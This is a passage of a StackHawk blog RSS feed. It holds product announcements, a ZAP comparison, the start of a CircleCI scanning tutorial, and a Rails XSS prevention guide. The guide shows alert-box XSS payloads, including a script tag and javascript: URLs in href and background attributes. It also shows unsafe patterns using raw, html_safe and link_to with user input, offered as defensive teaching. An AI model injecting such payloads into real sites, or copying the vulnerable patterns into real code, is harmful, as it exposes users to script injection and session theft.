team.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-security-based-development-should-work/&quot;&gt;&lt;b&gt;How Security Based Development Should Work&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/scanning-the-damn-vulnerable-web-app-with-stackhawk/&quot;&gt;&lt;b&gt;Scanning the Damn Vulnerable Web App with StackHawk&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/building-an-aws-cross-account-codepipeline-with-gitflow/&quot;&gt;&lt;b&gt;Building an AWS Cross-Account CodePipeline with GitFlow&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/using-stackhawk-in-gitlab-know-before-you-go-live/&quot;&gt;&lt;b&gt;Using StackHawk in GitLab: Know Before You Go (Live)&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📺 &lt;/b&gt;HawkTalks&lt;/h4&gt;&lt;p&gt;If you have already finished your second pass through Tiger King, check out some of our new video content from our resident Hawk King and CSO, Scott Gerlach. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=i1bbOiRA8tM&amp;t=6s&quot;&gt;&lt;b&gt;Getting Started with StackHawk&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=d_FEqZKI-dM&quot;&gt;&lt;b&gt;Why Developers Struggle with AppSec @ AllTheTalks&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;❤️ Give Us Some Love&lt;/h4&gt;&lt;p&gt;As an early stage software company, good word of mouth is one of the best things we can get. If you know anyone who should join us in this mission of developer first security, please send them our way. Or we’d love for you to share about our recent Early Access launch on social media. We are grateful for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + Atlassian: Application Security in Your Existing Engineering Tooling]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/jira-application-security-integration</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Sam Volin]]></dc:creator><content:encoded>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Today we are (officially) announcing the &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104&quot;&gt;StackHawk for Jira Integration&lt;/a&gt;! This integration is now available from the Atlassian marketplace and can be quickly added to an existing Jira Cloud workspace.&lt;/p&gt;&lt;h3&gt;StackHawk + Jira: Better AppSec Workflow and Prioritization&lt;/h3&gt;&lt;p&gt;StackHawk scans your application for application security bugs. With the Jira integration, you can create or link Jira Issues from one or more StackHawk findings. Key details about the found bug will be included on the Jira Issue, along with a link back to the particular finding within StackHawk.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The StackHawk scanner finds potential security bugs in your applications and services. At times, these will be critical issues that should be fixed right away or simple fixes from your latest commit. Other times, however, this work will need to be prioritized along with other engineering work. In this case, the Jira integration makes it simple to create a ticket with all of the relevant information. Then, when the issue is pulled into the current sprint, the developer working on it can link back to the finding details and reproduction criteria to help fix the bug.&lt;/p&gt;&lt;p&gt;With application security testing automated in the continuous integration pipeline, running AppSec tests on every commit or pull request, teams are assured that they have visibility into any potential security issues before the deploy to production. With bugs assigned to Jira, you will no longer break the build for issues that have been added to the backlog instead of immediately fixing. Managing security with automation is what enables dev teams of all sizes to shift left, and own their application security.&lt;/p&gt;&lt;h3&gt;Adding StackHawk to Your Jira Workspace&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104/stackhawk-for-jira&quot;&gt;StackHawk for Jira&lt;/a&gt; addon can be added to any Jira workspace (admin permissions required). The addon can be easily installed from the Atlassian Marketplace into your authenticated workspace. Search for StackHawk in the Marketplace, and choose connect.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, enable the Jira integration within your StackHawk account by going to Integrations &amp;gt; Jira and generate the integration key.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Using the Jira Integration&lt;/h3&gt;&lt;p&gt;After installed, you can assign findings to Jira. The Jira Issue creation and link will pre-populate with key details from the selected finding, but you can edit before creating the issue. After creating the Jira issue, the bug will still be found in future scans, but it will be in a managed state. This means that it will not break the build or otherwise alert you. If you want details on the prioritization status, the existing and future findings will include a link to the Jira issue.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Within Jira, you will see the details from the finding and the associated paths that the bug was found on. The Jira ticket will also include a link back to the original details of the finding in StackHawk. When a team member starts working on a fix, they can jump into StackHawk to review the Request and Response information, and automatically generate a CURL command to reproduce the issue.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now managing your application security findings has become even easier, with tighter integration into your existing engineering tooling. With the Jira integration, not only are you able to manage security bugs with your other engineering prioritization, but you are also able to have your findings in a managed state to avoid breaking the build for something that has already been triaged.&lt;/p&gt;&lt;h3&gt;Even More to Come&lt;/h3&gt;&lt;p&gt;At StackHawk, our modus operandi is to give developers the tools they need to succeed. In order for developers to own their application security, they must be equipped to find and track their bugs. By integrating with Atlassian Jira, your team can now use best in class security testing to find bugs while continuing to track and prioritize in your existing tooling.&lt;/p&gt;&lt;p&gt;We have more planned for our Jira integration, as well as integrations with other tooling from your engineering stack. If you aren’t currently running security tests with StackHawk, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a free trial&lt;/a&gt; today. Getting started is easy, with most customers running their first scan in less than 20 minutes.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-xss-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Web application security is a must nowadays. There are many bots trying to exploit pretty much any website on the Internet, which means that even brand new websites can become victims of cyberattacks. Cross-site scripting, or XSS for short, is one such attack. XSS is a type of injection attack, meaning that the attacker injects malicious code into the application. That code then is executed on the victim’s machine.&lt;/p&gt;&lt;p&gt;XSS is one of the most common attacks, so you should make sure that your applications are safe. If you want to know more about XSS attacks in general, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;here’s a terrific overview&lt;/a&gt;. In this post, you’ll learn what XSS attacks look like in Ruby on Rails applications and how to prevent them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;How XSS Works&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let’s cover some basics first. You know already what XSS is, but what does it actually look like? In the most simple scenario, imagine you have a form on your website. You’re expecting the user to enter, for example, their name in the text field. But what if a user enters the following JavaScript code? &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&amp;quot;This is a XSS attack!&amp;quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If, after submitting the form with that field, you see a popup in your web browser, it means that your application is vulnerable to an XSS attack. Of course, displaying a simple popup by itself doesn’t create any real risk; that was just an example. But imagine that an attacker writes JavaScript code that tries to steal other users’ credentials or hijack their sessions. That’s the real risk. An attacker can create code that downloads other users’ cookies and sends them to the attacker’s server. All of this will happen under the hood. The user won’t even notice. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;XSS in Rails&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The good news is that Rails has built-in XSS prevention. Before you get too excited, though, I need to tell you that it doesn’t prevent all XSS attacks. So read on.&lt;/p&gt;&lt;p&gt;To prevent XSS attacks, Rails automatically escapes all data sent from Rails to HTLM output. In the example above, we demonstrated that pasting JavaScript code into the text field can lead to XSS. This is because we use valid HTML tags for scripts (), so the victim’s browser interprets it as any other HTML code. It doesn’t know that this particular piece of code came from the attacker and not from the server. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Escaping HTML Tags&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;What does it mean when we say that Rails automatically escapes the HTML output? It means that Rails changes the known opening and closing tags and other special characters to something else. For example, the HTML tag opening character “&amp;lt;” is changed to “&amp;lt;”. Therefore, we no longer send valid HTML code to the browser. We send modified code. Without &lt;b&gt;&amp;lt;&amp;gt;&lt;/b&gt; tags, the code won’t be executed by the browser as standard HTML code. You can generate a typical text input with the following Rails code (form helper): &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= form.text_field :first_name %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This allows a user to enter their first name in the text field. You can then use the user inputs later as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Welcome &amp;lt;%= params[:first_name] %&amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If Rails didn’t protect you from XSS, and if we pass the previously mentioned JavaScript instead of the first name, the HTML output would look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Welcome &amp;lt;script&amp;gt;alert(&amp;quot;This is a XSS attack!&amp;quot;)&amp;lt;/script&amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This looks from the browser perspective like normal HTML code. Therefore, the browser would execute the code from script tags. But as we mentioned before, Rails escapes user input and changes the special characters that indicate HTML opening tags. So Rails-generated HTML output will look like this instead: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Welcome &amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;quot;This is a XSS attack!&amp;amp;quot;)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Without proper HTML opening and closing tags, the browser won’t execute the JavaScript code (it will just print it like any other text). This covers roughly 80 percent of cases. However, there are ways to create XSS-vulnerable code with Rails. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure by Design&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;There are ways to intentionally disable string escaping. You may want to pass raw data this way, such as when generating HTML by a third-party component or when offering rich text editing functionality. In these cases, you can use a &lt;a href=&quot;https://apidock.com/rails/ActionView/Helpers/OutputSafetyHelper/raw&quot;&gt;&lt;b&gt;raw&lt;/b&gt;&lt;/a&gt; helper as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= raw @user.descripion %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As the name suggests, this passes raw data to HTML output. Just be sure, if you do this, that you know what you’re doing because passing user input to the &lt;b&gt;raw&lt;/b&gt; helper creates XSS vulnerabilities!&lt;/p&gt;&lt;p&gt;Another option when you need to disable Rails’ auto-escaping feature is the &lt;b&gt;.html_safe&lt;/b&gt; method. There are legitimate use cases for it, but using it together with user input is not safe. Also, the name &lt;b&gt;.html_safe&lt;/b&gt; doesn’t mean that the output will be secured. It means that whatever you pass using this method is safe to be interpreted as HTML. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= @user.description.html_safe %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You need to double or triple check the code when you use one of the above. Without string escaping, you are prone to XSS vulnerabilities. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Hidden XSS&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You know already that Rails automatically escapes data sent to HTML output. However, there are a few Rails helpers that don’t escape the data because they were never designed to receive user input. Unlike with &lt;b&gt;raw&lt;/b&gt; or &lt;b&gt;.html_safe&lt;/b&gt;, which purposely disable string escaping, these methods were not designed with that need in mind. Even so, some people pass user input to them anyway, which creates an XSS vulnerability. One example is the &lt;a href=&quot;https://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to&quot;&gt;&lt;b&gt;link_to&lt;/b&gt;&lt;/a&gt; helper. It’s very commonly used in Rails to create links, for example. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= link_to &amp;quot;User portfolio&amp;quot;, user_portfolio_path %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In most cases, we pass two parameters to the &lt;b&gt;link_to&lt;/b&gt; helper: the name of the link and its destination, which usually is one of the Rails &lt;a href=&quot;https://guides.rubyonrails.org/routing.html&quot;&gt;routes&lt;/a&gt;. However, there is nothing stopping you from hardcoding the destination URL as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= link_to &amp;quot;User portfolio&amp;quot;, &amp;quot;http://example.com&amp;quot; %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And most important, there is nothing stopping you from providing a destination in the form of a variable that can come from user input: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;%= link_to &amp;quot;User portfolio&amp;quot;, @user.portfolio_url %&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code is XSS vulnerable. Why? The user can provide JavaScript code as the portfolio URL. And since &lt;b&gt;link_to&lt;/b&gt; wasn’t designed to be used with user-generated input, it doesn’t automatically do string escaping. So you won’t get a standard link like the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;http://userexampleportfolio.com&amp;quot;&amp;gt;User Portfolio&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Instead, you’ll get something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;javascript:alert(&amp;#39;XSS Attack!&amp;#39;)&amp;quot;&amp;gt;User Portfolio&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Something similar may happen in other places where no one expects user input, such as the metadata field, background images, and comments. Every place that was not designed to receive user input may be prone to XSS. So you don’t want to end up with something like this in your code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;td background=&amp;quot;javascript:alert(&amp;#39;User entered XSS code&amp;#39;)&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Make sure that you always pass user input as a parameter and that you sanitize it. And whenever possible, use the allowed values list. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As you can see, you don’t need to do anything special to protect yourself from XSS in Rails. The framework does most of the job for you. You just need to avoid passing user input when you’re not supposed to.&lt;/p&gt;&lt;p&gt;By design, there are a few helpers and methods that don’t include automatic data escaping, but they were never meant to be used with user-generated input. Your job is simply to make sure that you don’t pass that kind of input using these methods. If you want to learn more about securing Rails, we also published a &lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-rails/&quot;&gt;Rails SQL Injection Guide&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski.&lt;/i&gt; &lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/a&gt; &lt;i&gt;has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ZAP vs. StackHawk: Dynamic Application Security Testing Tool Comparison]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/zap-vs-stackhawk-comparison</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;When it comes to dynamic application security testing (DAST), ZAP is the industry standard. As an open-source tool, it has developed significant popularity among security teams and penetration testers. &lt;/p&gt;&lt;p&gt;However, if you want to scale application and API security across a software team, StackHawk takes the cake. StackHawk is the leading dynamic application security testing tool for modern engineering teams. Built on top of ZAP, StackHawk takes the power of ZAP’s scanning and makes it simple to automate and scale throughout engineering.&lt;/p&gt;&lt;h3&gt;tl;dr: StackHawk vs. ZAP&lt;/h3&gt;&lt;p&gt;Below is a quick teardown of ZAP vs. StackHawk 👇. Be sure to read on for more details!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Key Differences Between ZAP and StackHawk&lt;/h3&gt;&lt;h4&gt;DAST Scanner Comparison &lt;/h4&gt;&lt;p&gt;When using StackHawk for application security testing,  you can ensure that you have a trusted scanner with an ever-improving suite of security tests. In addition to that, StackHawk provides additional key benefits:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Technology Flags for Scan Scoping:&lt;/b&gt; When configuring an application for scanning in StackHawk, you can select the underlying technologies used within the application. This ensures that the scanner only runs tests that are relevant to your application architecture, reducing scan times and false positives.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scanner Performance:&lt;/b&gt; StackHawk has optimized ZAP’s performance to ensure that tests run quickly and successfully every time. As big believers in automated DAST in CI/CD, StackHawk knows that your security tests must be highly performant and has done the leg work for you.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Further Optimization Tips: &lt;/b&gt;StackHawk helps identify any optimization opportunities you might be missing out on while testing your applications. The &lt;a href=&quot;https://www.stackhawk.com/blog/optimizing-security-scans-for-speed-and-accuracy/&quot;&gt;Optimization Tips panel&lt;/a&gt; highlights the enablement status of three key features, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/custom.html&quot;&gt;custom scan discovery&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;technology flags&lt;/a&gt;, and &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;authentication&lt;/a&gt;, on every scan. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Automating DAST in CI/CD&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Gone are the days of scheduled scans or reliance on periodic penetration testing. Modern software teams know that application security testing &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;must be automated in CI/CD&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;StackHawk is built for automation and makes it simple to automate &lt;b&gt;at scale&lt;/b&gt;. Below are the key benefits that automation with StackHawk provides:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configuration as Code:&lt;/b&gt; StackHawk is &lt;a href=&quot;https://help.stackhawk.com/en/articles/7880390-hawkscan-configuration-basics&quot;&gt;configured via a YAML file&lt;/a&gt;, which means that your security testing can have the same version control you already rely on. Plus, with &lt;a href=&quot;https://help.stackhawk.com/en/articles/7880840-hawkscan-configuration-with-overlays&quot;&gt;YAML overlays&lt;/a&gt;, it is simple to leverage shared configuration across multiple test environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Finding Triage to Manage Findings:&lt;/b&gt; When your scan finds a potential vulnerability, you have the choice of fixing it at that moment or &lt;a href=&quot;https://www.stackhawk.com/blog/appsec-findings-management/&quot;&gt;putting it in a triaged state&lt;/a&gt; within the StackHawk platform. When you send a finding to your issue tracking tool such as Jira, or mark it with a status such as Risk Accepted, the scanner will no longer break the build for that particular finding.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Finding History and Documentation:&lt;/b&gt; With StackHawk, you have a simple interface to review scan history, finding history, and documentation of selected actions. This allows security teams to maintain visibility while scaling application security.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Managed Docker Deployment to Scan Anywhere:&lt;/b&gt; StackHawk is &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;deployed via Docker&lt;/a&gt;, which makes it simple to scan your application, regardless of where it is running. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authenticated Scanning:&lt;/b&gt; Running automated, authenticated scans is simple with StackHawk. We support cookie-based, bearer-token, and external token auth. Check out our &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;authentication docs&lt;/a&gt; or chat with our &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support team&lt;/a&gt; for more information.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Developer Experience for Scaling AppSec&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Scaling application security and shifting left require developer involvement in the application security testing process. With modern DevOps (or DevSecOps) pipelines, a developer is alerted with a broken build if their latest changes don’t pass unit tests or integration tests. Security should be no different.&lt;/p&gt;&lt;p&gt;A key difference between ZAP and StackHawk is the developer experience when a potential vulnerability is identified. StackHawk makes it simple to roll out application security testing across the engineering organization, resulting in shorter fix times and an increased ability to deliver secure applications and APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Platform User Experience:&lt;/b&gt; StackHawk is a developer-first application security testing tool. The StackHawk UI equips engineers and security professionals alike with the ability to quickly understand a finding with vulnerability overviews, links to fix documentation, and the request / response evidence for the vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fixes Simplified with Docs and cURL Commands:&lt;/b&gt; As with any bug, security vulnerabilities are easiest to fix when the developer is in the context of the code they were just working on. With StackHawk, a developer is alerted when a new potential vulnerability is found. Then, the platform provides fix documentation, the request / response evidence of the finding, and a cURL command generator to recreate the same request. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Correlated Findings: &lt;/b&gt;StackHawk gives developers the ability to identify critical issues in their code by correlating DAST and SAST findings through integrations with &lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;Snyk Code&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-github-dev-first-security-testing-across-the-github-universe/&quot;&gt;GitHub CodeQL&lt;/a&gt;. This allows teams to reduce noise and accelerate fix times by identifying which vulnerabilities are exploitable at runtime and where they exist in the codebase.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Engineering Workflow Integrations:&lt;/b&gt; StackHawk provides &lt;a href=&quot;https://www.stackhawk.com/integrations/&quot;&gt;integrations&lt;/a&gt; with popular engineering tools, such as &lt;a href=&quot;https://www.stackhawk.com/github/&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104/stackhawk-for-jira?hosting=cloud&amp;tab=overview&quot;&gt;Jira&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/datadog.html&quot;&gt;Datadog&lt;/a&gt;, &lt;a href=&quot;https://slack.com/apps/A0114L5HGP5-stackhawk&quot;&gt;Slack&lt;/a&gt;, and more, making security testing a natural extension of the developer workflow. By tying into tooling the engineering team already uses, scaling application security has never been easier.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Building vs. Buying Your AppSec Tools&lt;/h3&gt;&lt;p&gt;With the ZAP open-source scanner at the core of StackHawk, it is no secret that your team could technically accomplish similar testing without purchasing StackHawk. Ultimately, it comes down to whether you want to invest a lot of time and resources in building functionality around ZAP to automate and scale the application security testing or if you would prefer to implement a tool that has already done the work for you.&lt;/p&gt;&lt;p&gt;Last but certainly not least, StackHawk has a highly responsive support team to guide you through implementation and help with any issues that you may encounter.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So go ahead – &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;get started&lt;/a&gt; with a StackHawk trial or free account today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Add AppSec to Your CircleCI Pipeline With the StackHawk Orb]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/add-appsec-to-circle-ci-pipeline</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;The modern CI/CD environment bristles with automation. When you check in your code, an invisible army of robots goes to work linting, compiling, unit testing, and integrating your software.&lt;/p&gt;&lt;p&gt;These processes help us code &lt;i&gt;faster&lt;/i&gt; since you don’t have to spend time manually building and testing, and &lt;i&gt;better&lt;/i&gt; since you get quick feedback and guidance on code quality. Now you can add test-driven &lt;i&gt;security&lt;/i&gt; to your pipeline with StackHawk.&lt;/p&gt;&lt;p&gt;In this post, we will use the &lt;a href=&quot;https://circleci.com/orbs/registry/orb/stackhawk/stackhawk&quot;&gt;StackHawk CircleCI Orb&lt;/a&gt; to build an app, fire it up in a container, and scan it for vulnerabilities, all within the CircleCI build environment.&lt;/p&gt;&lt;h3&gt;The Application&lt;/h3&gt;&lt;p&gt;I will be building and scanning &lt;a href=&quot;https://github.com/stackhawk/vuln_django_play&quot;&gt;Vulny Django&lt;/a&gt;. It’s a small web poll app that StackHawk’s Chief Security Officer, Scott Gerlach, built from the &lt;a href=&quot;https://docs.djangoproject.com/en/3.0/intro/tutorial01/&quot;&gt;Django tutorial&lt;/a&gt;. We often use it to test scans and pipelines because it’s simple, quick to build, and it has a good set of routes and potential security flaws.&lt;/p&gt;&lt;h3&gt;The Orb&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://circleci.com/orbs/&quot;&gt;CircleCI Orbs&lt;/a&gt; are a clever way to package complicated bits of code to make your pipeline configuration code clean and DRY. We recently launched our own orb, which makes it simple to weave scans into your pipeline. It exposes all the features of StackHawk, including the ability to scan any web app, find routes by spidering, parse an OpenAPI spec, and even probe GraphQL.&lt;/p&gt;&lt;p&gt;The orb provides two jobs, &lt;a href=&quot;https://circleci.com/orbs/registry/orb/stackhawk/stackhawk#jobs-hawkscan-remote&quot;&gt;hawkscan-remote&lt;/a&gt;, and &lt;a href=&quot;https://circleci.com/orbs/registry/orb/stackhawk/stackhawk#jobs-hawkscan-local&quot;&gt;hawkscan-local&lt;/a&gt;. Each has advantages, but one is generally better suited for remote scans, and the other is best for running a self-contained scan within the CircleCI build environment.&lt;/p&gt;&lt;p&gt;Let’s take a look at the two options.&lt;/p&gt;&lt;h4&gt;stackhawk/hawkscan-remote&lt;/h4&gt;&lt;p&gt;This is the faster and simpler of the two scan jobs, but it requires a remote instance of your app to be up and running. This is great if you have an existing integration environment accessible to CircleCI. All you need is to add a valid &lt;code&gt;stackhawk.yml&lt;/code&gt; configuration file to your source repository, and add your StackHawk API key as a &lt;a href=&quot;https://circleci.com/docs/2.0/env-vars/#secrets-masking&quot;&gt;secret&lt;/a&gt; environment variable &lt;code&gt;HAWK_API_KEY&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Here’s an example CircleCI configuration to use the &lt;code&gt;hawkscan-remote&lt;/code&gt; job:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And here’s an example StackHawk configuration:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;stackhawk/hawkscan-local&lt;/h4&gt;&lt;p&gt;This job allows you to spin up your own ephemeral integration environment right in your CircleCI pipeline.&lt;/p&gt;&lt;p&gt;When hawkscan-local runs, it starts a build VM, checks out your source code, runs a series of steps you provide, and then launches a &lt;a href=&quot;https://hub.docker.com/r/stackhawk/hawkscan&quot;&gt;stackhawk/hawkscan&lt;/a&gt; container. In the steps you provide, you can launch local services or containers to be scanned, right there in the CircleCI cloud.&lt;/p&gt;&lt;h3&gt;Putting It All Together&lt;/h3&gt;&lt;p&gt;We will use the second job, &lt;code&gt;stackhawk/hawkscan-local&lt;/code&gt;, to demonstrate using the orb to run an integration test in your CircleCI pipeline. Let’s get started!&lt;/p&gt;&lt;h4&gt;Get a StackHawk API Key&lt;/h4&gt;&lt;p&gt;Go to &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;https://stackhawk.com&lt;/a&gt; to sign up. Create an account, and get an API key. Be sure to save a copy in a secure undisclosed location. You will need it later.&lt;/p&gt;&lt;h4&gt;Clone the Vulny Django Repository&lt;/h4&gt;&lt;p&gt;Head over to &lt;a href=&quot;https://github.com/stackhawk/vuln_django_play&quot;&gt;https://github.com/stackhawk/vuln_django_play&lt;/a&gt; and fork our repository. You can also clone it and copy it up to Bitbucket if you like. The key is to have your own copy to play with, and to set up as a project in CircleCI.&lt;/p&gt;&lt;p&gt;Take a glance at the files in this repository.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;src&lt;/code&gt; directory contains the app itself. And the 